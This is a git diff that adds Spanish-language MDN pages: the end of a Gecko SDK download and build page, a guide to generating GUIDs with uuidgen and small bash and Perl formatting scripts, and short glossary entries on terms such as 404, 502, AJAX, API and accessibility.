+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.mac-powerpc.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.mac-powerpc.sdk.tar.bz2">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-mac-1.8.0.4.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-mac-1.8.0.4.zip">Descargar</a></td>
+      </tr>
+      <tr>
+        <th>Linux x86_64</th>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/20.0/sdk/xulrunner-20.0.en-US.linux-x86_64.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.linux-x86_64.sdk.tar.bz2">Descargar</a></td>
+        <td>N/A</td>
+        <td>N/A</td>
+        <td>N/A</td>
+        <td>N/A</td>
+      </tr>
+      <tr>
+        <th>Linux i686</th>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/20.0/sdk/xulrunner-20.0.en-US.linux-i686.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.linux-i686.sdk.tar.bz2">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.linux-i686.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.linux-i686.sdk.tar.bz2">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.linux-i686.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.linux-i686.sdk.tar.bz2">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.linux-i686.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.linux-i686.sdk.tar.bz2">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-i686-pc-linux-gnu-1.8.0.4.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-i686-pc-linux-gnu-1.8.0.4.tar.bz2">Descargar</a></td>
+      </tr>
+    </tbody>
+  </table>
+  <p>El SDK no está oficialmente lanzado para otras plataformas; si lo necesitas, probablemente deberás adaptarlo para la tuya.</p>
+  <div class="note">
+    <p><strong>Nota:</strong> Puedes <a href="https://mail.mozilla.com/home/akeybl@mozilla.com/Release%20Management.ics" title="https://mail.mozilla.com/home/akeybl@mozilla.com/Release%20Management.ics">subscribirte a un calendario</a> de fechas de lanzamiento de Firefox. Como también, puedes <a href="https://mail.mozilla.com/home/akeybl@mozilla.com/Release%20Management.html" title="https://mail.mozilla.com/home/akeybl@mozilla.com/Release%20Management.html">ver las fechas</a> en la Web.</p>
+  </div>
+  <p>Desempaquetar el tarball del SDK en algún directorio adecuado.</p>
+  <h4 id="Situaciones_con_el_OS_X_SDK" name="Situaciones_con_el_OS_X_SDK">Situaciones con el OS X SDK</h4>
+  <p>Si tu necesitas usar la utilidad <code>xpidl</code> para compilar archivos IDL en OS X, y lo más probable es que observes cuando ejecutes la herramienta un extraño error similar al de las siguientes líneas:</p>
+  <pre>dyld: Library not loaded: /opt/local/lib/libintl.3.dylib
+  Referenced from: /Users/varmaa/xulrunner-sdk/bin/./xpidl
+  Reason: image not found
+Trace/BPT trap
+</pre>
+  <p>Desafortunadamente, esto es causado pro un problema con el proceso de construcción del SDK que aún no se logró resolver (ver Bugzilla bug #<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=430274">430274</a>). Para solucionarlo, necesitarás instalar primero MacPorts como se indica en los <a href="/En/Developer_Guide/Build_Instructions/Mac_OS_X_Prerequisites" title="en/Mac_OS_X_Build_Prerequisites">Prerequisitos de Construcción de Mac OS X</a> e instalar con él <code>libidl</code>. En versiones 64-bit de Mac OS X, necesitarás instalar <code>libidl</code> con la opción <code>+universal</code>.</p>
+  <p>Una vez concluido, deberás ejecutar el siguiente comando:</p>
+  <pre>ln -s /opt/local/lib/libintl.8.dylib /opt/local/lib/libintl.3.dylib</pre>
+  <p>Esto debería corregir el problema.</p>
+  <h3 id="Construyendo_el_SDK" name="Construyendo_el_SDK">Construyendo el SDK</h3>
+  <p>Para construstruir el SDK, deberías construir el <a href="/en/XULRunner" title="es/XULRunner">XULRunner</a> (el Gecko SDK se forma como parte del proceso de contrucción del, por lo que suele llamarse también XULRunner SDK). Ver la  <a href="/En/Developer_Guide/Build_Instructions" title="en/Build_Documentation">Documentación para la Compilación</a> para mayores detalles. Después la contrucción del XULRunner se concluye corriendo <code>make sdk</code> desde el directorio objeto se creará un paquete del sdk en <code>dist</code>.</p>
+  <h2 id="Contents_of_the_SDK" name="Contents_of_the_SDK">Contenidos del SDK</h2>
+  <p>El SDK contiene lo siguiente:</p>
+  <ul>
+    <li>1.9.2</li>
+    <li>Archivos IDL para interfaces estables (bajo <code>idl/</code>)</li>
+    <li>Archivos cabecera para interfaces estables, funciones XPCOM, y funciones NSPR (bajo <code>include/</code>)</li>
+    <li>Importar librerías o librerías compartidas (bajo <code>lib/</code>)</li>
+    <li>Librerías estática de utilitarios (bajo <code>lib/</code>)</li>
+    <li>Varias herramientas (bajo <code>bin/</code>)</li>
+  </ul>
+  <p>Para más información sobre enlazado seguro de componentes XPCOM usando la librería XPCOM "glue", ver <a href="/en/XPCOM_Glue" title="en/XPCOM_Glue">XPCOM Glue</a>.</p>
+  <h2 id="Recursos" name="Recursos">Utilizando el Sistema de Compilación Mozilla con el SDK</h2>
+  <p>Es posible usar el <a class="internal" href="/Talk:en/Creating_Custom_Firefox_Extensions_with_the_Mozilla_Build_System" title="Talk:En/Creating Custom Firefox Extensions with the Mozilla Build System">Sistema de Compilación Mozilla</a> con el SDK. Se puede hacer descargando el código fuente para Firefox y usando <code>--with-libxul-sdk</code> como opcion para el <code>configure</code>.</p>
+  <h2 id="Recursos" name="Recursos">Recursos</h2>
+  <ul>
+    <li><a href="/User:Andywang/xpidl" title="User:Andywang/xpidl">xpidl.exe estático</a> (no-oficial) Si buscas un xpidl.exe enlazado estáticamente, puedes descargarlo aquí.</li>
+    <li><a class="external" href="http://www.oxymoronical.com/view/1114">Mac Intel Gecko 1.8 SDK</a> El Mac 1.8 SDK oficial es una version ppc. Esta es una compilación intel no oficial.</li>
+  </ul>
+  <p>{{ languages( { "zh-cn": "cn/Gecko_SDK", "en": "en/SDK_Gecko", "fr": "fr/SDK_Gecko", "ja": "ja/Gecko_SDK" } ) }}</p>
+  <div id="cke_pastebin" style="position: absolute; top: 178px; width: 1px; height: 1px; overflow: hidden; left: -1000px;">
+     </div>
+</div>
+<p> </p>
diff --git a/files/es/generación_de_guids/index.html b/files/es/generación_de_guids/index.html
new file mode 100644
index 0000000000..6fb035653b
--- /dev/null
+++ b/files/es/generación_de_guids/index.html
@@ -0,0 +1,61 @@
+---
+title: Generación de GUIDs
+slug: Generación_de_GUIDs
+---
+<div class="note">(Esta página se encuentra en proceso de traducción - ruego a quién la complete, si no lo hago antes, retirar esta nota de estatus - Ibnkhaldun)</div>
+<p>Los <strong>GUID</strong>s son empleados por los programas integrados en Mozilla para identificar de modo único a una gran variedad de entidades, entre las que se incluyen las <a href="/en/Interfaces" title="en/Interfaces">Interfaces</a> XPCOM (en este caso, la GUID es llamada IID), los componentes (CID), y los "agregados" (add-ons), como <a href="/en/Extensions" title="en/Extensions">extensiones</a> y <a href="/en/Themes" title="en/Themes">temas</a>; no obstante, los "agregados" (add-ons) <a href="/en/Install_Manifests#id" title="en/Install_Manifests#id">pueden (y debieran) ser identificados</a> mediante IDs (identificadores) de la forma <code><a class=" link-mailto" href="mailto:nombreextension@nombreorganizacion.tld" rel="freelink">nombreextension@nombreorganizacion.tld</a></code> a partir de <a href="/en/Firefox_1.5_for_developers" title="en/Firefox_1.5_for_developers">Firefox 1.5</a>.</p>
+<h3 id="Canonical_form" name="Canonical_form">Forma canónica de una GUID</h3>
+<p>La forma usual de una GUID es <code>xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx</code>, donde cada <code>x</code> corresponde a un dígito hexadecimal (01...9A...F). Y, debe ser única en el mundo dígital. De modo que no importa en que equipo sea instalada la entidad a la que identifica no compita con el identificador de otro objeto o programa instalado en el mismo. Esto quiere decir, que una GUID no puede ser escrita de modo arbitrario, siguiendo el modelo canónico. Debe ser generada por una utilidad (algoritmo) que garantice su unicidad. Sería gravísimo crear un componente o una biblioteca y asignar GUIDs arbitrarias a ella y sus entidades integrantes: al distribuirla e instalarla en otros equipos podría provocar efectos inesperados cuando los programas y utilitarios instalados en los mismos traten de hacer referencia a (o cargar) piezas de software cuyos identificadores se solapan. Existen muchas utilidades que permiten generar GUIDs únicos que se ajustan a la forma canónica. Entre otras:</p>
+<h4 id="Online_tools" name="Online_tools">Herramientas en línea</h4>
+<ul> <li><a class="external" href="http://www.somacon.com/p113.php">Generate GUID Online</a></li> <li><a class="external" href="http://www.famkruithof.net/uuid/uuidgen">UUID (GUID) Generator on the WEB</a></li> <li><a class="external" href="http://mozilla.pettay.fi/cgi-bin/mozuuid.pl">UUID Generator for Mozilla Code</a> (tanto en forma IDL como C++.h)</li> <li>Se puede obtener una GUID desde algunos robots de correo (tales como botbot, firebot) el canal IRC <a class="link-irc" href="irc://irc.mozilla.org/firefox">#firefox</a> enviandoles <code>/msg</code>ing "uuid" .</li>
+</ul>
+<h4 id="Windows" name="Windows">Windows</h4>
+<p>Los usuarios de Windows pueden emplear el utilitario <a class="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=94551F58-484F-4A8C-BB39-ADB270833AFC&amp;displaylang=en">GuidGen</a> de Microsoft para obtener una GUID. (esta utilidad de parte de MS Visual C++)</p>
+<h4 id="Linux" name="Linux">Linux</h4>
+<p>Usar <code>/usr/bin/uuidgen</code>. Se encuentra en el paquete <code>libuuid1</code> (Debian).</p>
+<h4 id="Mac_OS_X">Mac OS X</h4>
+<p>Usar <code>/usr/bin/uuidgen</code>.</p>
+<h4 id="Perl" name="Perl">Perl</h4>
+<p><a class="external" href="http://www.johnkeiser.com/mozilla/mozilla_tools.html">jkeiser's Mozilla tools</a> incluye un generador UUID con salidas en los estilos C++ e IDL.</p>
+<h4 id="nsIUUIDGenerator" name="nsIUUIDGenerator">nsIUUIDGenerator</h4>
+<p>Se puede generar un identificador UUID desde código, contando con privilegios de ejecución en Mozilla, utilizando los métodos del objeto <code><a href="/en/XPCOM_Interface_Reference/nsIUUIDGenerator" title="en/nsIUUIDGenerator">nsIUUIDGenerator</a></code>. Ver la página enlazada para obtener detalles.</p>
+<h3 id="COM.2FXPCOM_format" name="COM.2FXPCOM_format">Formato COM/XPCOM</h3>
+<p>Cuando se declaran IIDs y CIDs mediante enunciados  <code>#define</code> en código C++ para Mozilla, suele emplearse el siguiente formato:</p>
+<pre class="eval">// xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx
+#define NS_...ID \
+{ 0xXXXXXXXX, 0xXXXX, 0xXXXX, \
+  { 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX } }
+</pre>
+<p>Para generar código en este formato puede emplearse alguna de las siguientes herramientas.</p>
+<h4 id="Online_tools_2" name="Online_tools_2">Utilidades en línea</h4>
+<ul> <li><a class=" external" href="http://mozilla.pettay.fi/cgi-bin/mozuuid.pl" rel="freelink">http://mozilla.pettay.fi/cgi-bin/mozuuid.pl</a></li>
+</ul>
+<h4 id="guidgen" name="guidgen">guidgen</h4>
+<p><code>guidgen.exe</code>, hace parte de Microsoft Visual Studio, genera UUIDs en este formato.</p>
+<div class="note">(N de T. Los dos párrafos siguientes son poco claros en el original - su traducción es difícil ¿alguna sugerencia? - hace falta un texto que los haga más orientadores - no son una buena ayuda)</div>
+<h4 id="bash" name="bash">bash</h4>
+<p>You can put the following into your <code>.bashrc</code> file:</p>
+<pre>uuidgen-c++()
+{
+       local UUID=$(uuidgen)
+       echo "// $UUID"
+       echo "#define NS__IID \\"
+       echo "{ 0x${UUID:0:8}, 0x${UUID:9:4}, 0x${UUID:14:4}, \\"
+       echo -n "  { 0x${UUID:19:2}, 0x${UUID:21:2}, 0x${UUID:24:2}, "
+       echo -n "0x${UUID:26:2}, 0x${UUID:28:2}, 0x${UUID:30:2}, "
+       echo "0x${UUID:32:2}, 0x${UUID:34:2} } }"
+}
+</pre>
+<h4 id="Perl_2" name="Perl_2">Perl</h4>
+<pre>#!/usr/bin/perl
+$uuid = `uuidgen`;
+chomp $uuid;
+print $uuid, "\n";
+@parts = ($uuid =~ /^(.{8})-(.{4})-(.{4})-(..)(..)-(..)(..)(..)(..)(..)(..)$/);
+print "{ 0x$parts[0], 0x$parts[1], 0x$parts[2], \\", "\n", " { ";
+for (3 .. 9) {
+    print "0x$parts[$_], ";
+}
+print "0x$parts[10] } }", "\n";
+</pre>
+<p>{{ languages( { "fr": "fr/G\u00e9n\u00e9ration_de_GUID", "ja": "ja/Generating_GUIDs", "pl": "pl/Generowanie_GUID" } ) }}</p>
diff --git a/files/es/glossary/404/index.html b/files/es/glossary/404/index.html
new file mode 100644
index 0000000000..7cd3dacb3b
--- /dev/null
+++ b/files/es/glossary/404/index.html
@@ -0,0 +1,18 @@
+---
+title: '404'
+slug: Glossary/404
+tags:
+  - Errores HTTP
+  - Glosario
+  - Insfraestructura
+  - navegación
+translation_of: Glossary/404
+---
+<p>Una respuesta 404 es una respuesta estándar que significa que el {{Glossary("Server", "server")}} no puede encontrar el recursos solicitado.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Response_codes">list of HTTP response codes</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Learn/Checking_that_your_web_site_is_working_properly">advice for beginners on avoiding 404 errors</a></li>
+</ul>
diff --git a/files/es/glossary/502/index.html b/files/es/glossary/502/index.html
new file mode 100644
index 0000000000..f2dc63f6a8
--- /dev/null
+++ b/files/es/glossary/502/index.html
@@ -0,0 +1,22 @@
+---
+title: '502'
+slug: Glossary/502
+tags:
+  - '502'
+  - Errores HTTP
+  - Glosario
+  - Infraestructura
+  - navegación
+translation_of: Glossary/502
+---
+<p>Un código código de error  {{Glossary("HTTP")}} que significa "Bad Gateway" (Pasarela incorrecta).</p>
+
+<p>Un {{Glossary("Server", "server")}} puede actuar como gateway (pasarela)  o proxy entre un cliente  (como tu navegador) y otros servidores. Cuando realizas una petición para acceder a una {{Glossary("URL")}}, el gateway (la pasarela)  retransmite tu petición al otro servidor."502" significa que ese otro servidor, al que accedemos mediante el gateway o proxy, ha devuelto una respuesta inválida.</p>
+
+<p>Normalmente el servidor no está caído (por ejemplo no proporciona respuesta al servidor gateway/proxy), simplemente no comprende el mismo protocolo de intercambio de datos que el servidor gateway/proxy. Los {{Glossary("Protocol", "protocols")}} son bastante explícitos, y 502 usualmente significa que uno de las dos, o las dos máquinas fueron incorrectamente programadas.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Response_codes">list of HTTP response codes</a></li>
+</ul>
diff --git a/files/es/glossary/abstraction/index.html b/files/es/glossary/abstraction/index.html
new file mode 100644
index 0000000000..8ed7d8eafd
--- /dev/null
+++ b/files/es/glossary/abstraction/index.html
@@ -0,0 +1,29 @@
+---
+title: Abstracción
+slug: Glossary/Abstraction
+tags:
+  - Abstracción
+  - Glosario
+  - Lenguaje de programación
+  - Scripting
+  - programacion
+translation_of: Glossary/Abstraction
+---
+<p>En {{Glossary("computer programming", "programación")}}, una abstracción es una manera de reducir la complejidad y permitir un diseño e implementación más eficientes en sistemas de software complejos. Oculta la dificultad técnica de los sistemas detrás de {{Glossary("API", "APIs")}} más simples.</p>
+
+<h2 id="Ventajas_de_la_Abstracción">Ventajas de la Abstracción</h2>
+
+<ul>
+ <li><span class="short_text" id="result_box" lang="es"><span>Ayuda al usuario a evitar escribir código de bajo nivel.</span></span></li>
+ <li>Evita duplicar código y aumenta la reusabilidad.</li>
+ <li>Se puede cambiar la implementación interna de la clase de forma independiente sin afectar al usuario.</li>
+ <li>Ayuda a aumentar la seguridad de la aplicación o programa ya que solo los detalles importantes son proporcionados al usuario.</li>
+</ul>
+
+<h2 id="Saber_más"><strong>Saber más</strong></h2>
+
+<h3 id="Conocimiento_general"><strong>Conocimiento general</strong></h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Abstraction (computer science)", "Abstraction")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/accessibility/index.html b/files/es/glossary/accessibility/index.html
new file mode 100644
index 0000000000..c7d8839a4f
--- /dev/null
+++ b/files/es/glossary/accessibility/index.html
@@ -0,0 +1,33 @@
+---
+title: Accesibilidad
+slug: Glossary/Accessibility
+tags:
+  - Accesibilidad
+  - Accessibility
+  - Glossary
+translation_of: Glossary/Accessibility
+---
+<p><em>La accesibilidad web</em> (<strong>A11Y</strong>) hace referencia a las buenas prácticas para mantener la usabilidad de un sitio web a pesar de las restricciones físicas y técnicas. La accesibilidad web se define formalmente y es discutida en el {{Glossary("W3C")}} a través del {{Glossary("WAI","Web Accessibility Initiative")}} (WAI).</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility">Accessibility resources at MDN</a></li>
+ <li>{{Interwiki("wikipedia", "Web accessibility")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Aprende_accesibilidad_web">Aprende accesibilidad web</h3>
+
+<ul>
+ <li><a href="http://webaim.org/" rel="external">Web Accessibility In Mind</a></li>
+</ul>
+
+<h3 id="Referencias_técnicas">Referencias técnicas</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA">The ARIA documentation on MDN</a></li>
+ <li><a href="http://www.w3.org/WAI/" rel="external">The Web Accessibility Initiative homepage</a></li>
+ <li><a href="http://www.w3.org/TR/wai-aria/" rel="external">The WAI-ARIA recommendation</a></li>
+</ul>
diff --git a/files/es/glossary/accessibility_tree/index.html b/files/es/glossary/accessibility_tree/index.html
new file mode 100644
index 0000000000..0944f31397
--- /dev/null
+++ b/files/es/glossary/accessibility_tree/index.html
@@ -0,0 +1,41 @@
+---
+title: Árbol de accesibilidad (AOM)
+slug: Glossary/Accessibility_tree
+tags:
+  - AOM
+  - Accesibilidad
+  - DOM
+  - Glosario
+translation_of: Glossary/Accessibility_tree
+---
+<p><span class="seoSummary">El <strong>árbol de accesibilidad</strong> o <strong>modelo de objeto de accesibillidad (AOM)</strong>, contiene información relacionada con <strong> </strong>{{Glossary("accessibility")}} para la mayoría de los elementos HTML.</span></p>
+
+<p>Los navegadores convierten el lenguaje markup en una representación interna denominada <em><a href="/en-US/docs/Web/API/Document_object_model/How_to_create_a_DOM_tree">DOM tree</a> </em>(árbol DOM). El árbol DOM contiene objetos para todos los elementos de markup, atributos y nodos de texto. Luego, los navegadores crean un árbol de accesibilidad basado en el árbol de DOM, el cual es usado por  Accessibility APIs de plataformas específicas para las tecnologías asistenciales como los lectores de pantalla. </p>
+
+<p><span style="font-size: 1rem; letter-spacing: -0.00278rem;">Hay cuatro elementos en un árbol de objeto de accesibilidad:</span></p>
+
+<p><strong style="font-size: 1rem; letter-spacing: -0.00278rem;">nombre</strong></p>
+
+<dl>
+ <dd>¿Cómo podemos referirnos a este objeto? Por ejemplo, un enlace con el texto 'Leer más' se llamará 'Leer más' (más información sobre cómo se computan los nombres se puede encontrar en <a href="https://www.w3.org/TR/accname-1.1/">Accessible Name and Description Computation spec</a>).</dd>
+ <dt><strong>descripción</strong></dt>
+ <dd>¿Cómo describimos este elemento si queremos añadir algo al nombre? La descripción de una tabla podría explicar qué tipo de información ofrece esa tabla. </dd>
+ <dt><strong>rol</strong></dt>
+ <dd>¿Qué tipo de elemento es? Por ejemplo, es un botón, una barra de navegación o una lista de elementos? </dd>
+ <dt>estado</dt>
+ <dd>¿Tiene un estado? Piensa en marcado/desmarcado para las casillas de verificación o en desplegado/oculto para los elementos  <code><a href="/en-US/docs/Web/HTML/Element/summary">&lt;summary&gt;</a></code> (resumen). </dd>
+</dl>
+
+<p>Además, el árbol de accesibilidad usualmente contiene información sobre lo que se puede hacer con un elemento: <em>seguir</em> un enlace, <em>completar</em> un cuadro de texto, etc.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Glossary">Glossary</a>
+
+  <ol>
+   <li>{{Glossary("Accessibility")}}</li>
+   <li>{{Glossary("ARIA")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/glossary/adobe_flash/index.html b/files/es/glossary/adobe_flash/index.html
new file mode 100644
index 0000000000..4d7888faa9
--- /dev/null
+++ b/files/es/glossary/adobe_flash/index.html
@@ -0,0 +1,21 @@
+---
+title: Adobe Flash
+slug: Glossary/Adobe_Flash
+tags:
+  - CodingScripting
+  - Flash
+  - Glossary
+  - Infrastructure
+translation_of: Glossary/Adobe_Flash
+---
+<p>Flash es una tecnología obsolescente desarrollada por Adobe que hace posible crear aplicaciones Web ricas, gráficos vectoriales y multimedia. Para utilizar Flash dentro de un {{Glossary("Browser","web browser")}} es necesario instalar el complemento adecuado.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://www.adobe.com/products/flashruntimes.html">Sitio web oficial</a></li>
+ <li><a href="https://mozilla.github.io/shumway/">Shumway, una implementación gratis por Mozilla</a></li>
+ <li><a href="http://gnashdev.org/">Gnash, una implementación gratis por GNU</a></li>
+</ul>
diff --git a/files/es/glossary/ajax/index.html b/files/es/glossary/ajax/index.html
new file mode 100644
index 0000000000..daff8a7250
--- /dev/null
+++ b/files/es/glossary/ajax/index.html
@@ -0,0 +1,32 @@
+---
+title: AJAX
+slug: Glossary/AJAX
+tags:
+  - AJAX
+  - CodingScripting
+  - Glosario
+  - Infrastructure
+translation_of: Glossary/AJAX
+---
+<p>AJAX (de las siglas en Inglés <strong>A</strong>synchronous {{glossary("JavaScript")}} <strong>A</strong>nd {{glossary("XML")}} ) es una práctica de programación utilizada para construir páginas web más complejas y dinámicas, utilizando una tecnología conocida como {{Glossary("XHR_(XMLHttpRequest)","XMLHttpRequest")}}.</p>
+
+<p>Lo que AJAX nos permite hacer, es modificar partes específicas del {{Glossary("DOM")}} de una página {{Glossary("HTML")}} sin la necesidad de refrescar la página entera. AJAX tambien nos permite trabajar asincrónicamente; esto significa que tu código seguirá corriendo mientras esa parte de la página de tu sitio web intenta recargarse (en comparación, una carga síncrona bloquearía tu código hasta que esa parte de la página web terminara de recargarse)</p>
+
+<p>Con los sitios web interactivos y los estándares web modernos, AJAX está siendo reemplazado gradualmente por funciones dentro de frameworks de JavaScript y por la oficial {{domxref("Fetch API")}} Standard.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "AJAX")}} en Wikipedia</li>
+ <li><a href="http://peoplesofttutorial.com/difference-between-synchronous-and-asynchronous-messaging/">Comunicación sincrona vs asincrona</a></li>
+</ul>
+
+<h3 id="Información_técnica">Información técnica</h3>
+
+<ul>
+ <li>El objeto {{domxref("XMLHttpRequest")}}.</li>
+ <li><a href="/en-US/docs/AJAX">Documentación AJAX en MDN</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch">Fetch API en MDN</a></li>
+</ul>
diff --git a/files/es/glossary/algoritmo/index.html b/files/es/glossary/algoritmo/index.html
new file mode 100644
index 0000000000..e007ec918e
--- /dev/null
+++ b/files/es/glossary/algoritmo/index.html
@@ -0,0 +1,9 @@
+---
+title: Algoritmo
+slug: Glossary/Algoritmo
+tags:
+  - CodingScripting
+  - Glossary
+translation_of: Glossary/Algorithm
+---
+<p><span class="seoSummary">Un algoritmo es un conjunto de instrucciones autocontenidas que realiza una función.</span></p>
diff --git a/files/es/glossary/api/index.html b/files/es/glossary/api/index.html
new file mode 100644
index 0000000000..126195198f
--- /dev/null
+++ b/files/es/glossary/api/index.html
@@ -0,0 +1,15 @@
+---
+title: API
+slug: Glossary/API
+translation_of: Glossary/API
+---
+<h2 id="Resumen">Resumen</h2>
+<p>Una <strong><dfn>Interfaz de Programación de Aplicaciones</dfn></strong> (API, por sus siglas en inglés) define un conjunto de directivas que pueden ser usadas para tener una pieza de software funcionando con algunas otras.</p>
+<h2 id="Más_a_fondo">Más a fondo</h2>
+<p>Una Interfaz de Programación de Aplicaciones es un término común en Ciencias de la Computación. Es un término genérico que es usado para cubrir todos los requerimientos técnicos para tener varios componentes de software capaces de funcionar con los demás. En un contexto web, su uso es un poco más restrictivo, ya que es usado casi sólo con {{Glossary("JavaScript")}}. En ese contexto, una API es usualmente un conjunto de métodos, {{Glossary("JavaScript property","propiedades")}} y eventos para con el fin lograr ciertas tareas. Por ejemplo, el API 2D de {{Glossary("Canvas")}} provee los métodos necesarios para dibujar gráficos 2D dentro de un {{Glossary("elemento")}} Canvas de &lt;{{Glossary("HTML")}}.</p>
+<p>Pero en algunos puntos, un conjunto de {{Glossary("CSS property","propiedades de CSS")}} o {{Glossary("Element","elementos de HTML")}} también son API. Algunos conceptos de arquitectura técnica, como {{Glossary("REST")}}, incluso afirman que un conjunto de varias {{Glossary("URL","URL")}} formadas también son una API para usar en un sitio dado.</p>
+<h2 id="Conoce_más">Conoce más</h2>
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+<ul>
+ <li><a href="http://es.wikipedia.org/wiki/Interfaz_de_programaci%C3%B3n_de_aplicaciones">API en Wikipedia</a></li>
+</ul>
diff --git a/files/es/glossary/apple_safari/index.html b/files/es/glossary/apple_safari/index.html
new file mode 100644
index 0000000000..08d3e56bf0
--- /dev/null
+++ b/files/es/glossary/apple_safari/index.html
@@ -0,0 +1,29 @@
+---
+title: Apple Safari
+slug: Glossary/Apple_Safari
+tags:
+  - Glosario
+  - Glossary
+  - Navigation
+  - WebMechanics
+  - navegación
+translation_of: Glossary/Apple_Safari
+---
+<p><a href="http://www.apple.com/safari/">Safari</a> es un {{Glossary("Browser","navegador web")}} desarrollado por Apple y ligado a Mac OS X y iOS. Está basado en el motor de código abierto <a href="http://www.webkit.org/">WebKit</a>.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Safari (web browser)", "Safari")}} en Wikipedia</li>
+ <li><a href="http://www.apple.com/safari/" rel="external">Safari en apple.com</a></li>
+</ul>
+
+<h3 id="Información_técnica">Información técnica</h3>
+
+<ul>
+ <li><a href="http://www.webkit.org/">El proyecto WebKit</a></li>
+ <li><a href="http://nightly.webkit.org/" rel="external">WebKit versión diaria (nightly build</a>)</li>
+ <li><a href="https://bugs.webkit.org/" rel="external">Reporta un error en Safari</a></li>
+</ul>
diff --git a/files/es/glossary/application_context/index.html b/files/es/glossary/application_context/index.html
new file mode 100644
index 0000000000..bb620c20b9
--- /dev/null
+++ b/files/es/glossary/application_context/index.html
@@ -0,0 +1,13 @@
+---
+title: Contexto de aplicación
+slug: Glossary/application_context
+tags:
+  - CodingScripting
+  - Glossary
+translation_of: Glossary/application_context
+---
+<p>Un contexto de aplicación es un <a href="/en-US/docs/Glossary/Browsing_context">contexto de navegación</a> de nivel superior que tiene aplicado un <a href="/en-US/docs/Web/Manifest">manifiesto</a>.</p>
+
+<p>Si un contexto de aplicación es creado como resultado de una petición al agente usuario para que navegue a un enlace profundo, el agente usuario debe navegar inmediatamente hacia al enlace profundo con sustitución habilitada. De otra manera, cuando se crea el contexto de aplicación, el agente usuario debe navegar inmediatamente a la URL de inicio con sustitución habilitada.</p>
+
+<p>Téngase en cuenta que la URL de inicio no es necesariamente el valor del miembro start_url: el usuario o agente usuario podría haberlo cambiado cuando la aplicación fue añadida a la pantalla de inicio o añadida a favoritos.</p>
diff --git a/files/es/glossary/argumento/index.html b/files/es/glossary/argumento/index.html
new file mode 100644
index 0000000000..c3ccfb69ca
--- /dev/null
+++ b/files/es/glossary/argumento/index.html
@@ -0,0 +1,20 @@
+---
+title: Argumento
+slug: Glossary/Argumento
+translation_of: Glossary/Argument
+---
+<p>Un argumento es un valor (primitivo u objeto) (Véase {{glossary("value")}},  {{Glossary("primitive")}}, {{Glossary("object")}}) pasado como valor de entrada a una función ({{Glossary("function")}}).</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Parameter_(computer_programming)", "Difference between Parameter and Argument")}} on Wikipedia</li>
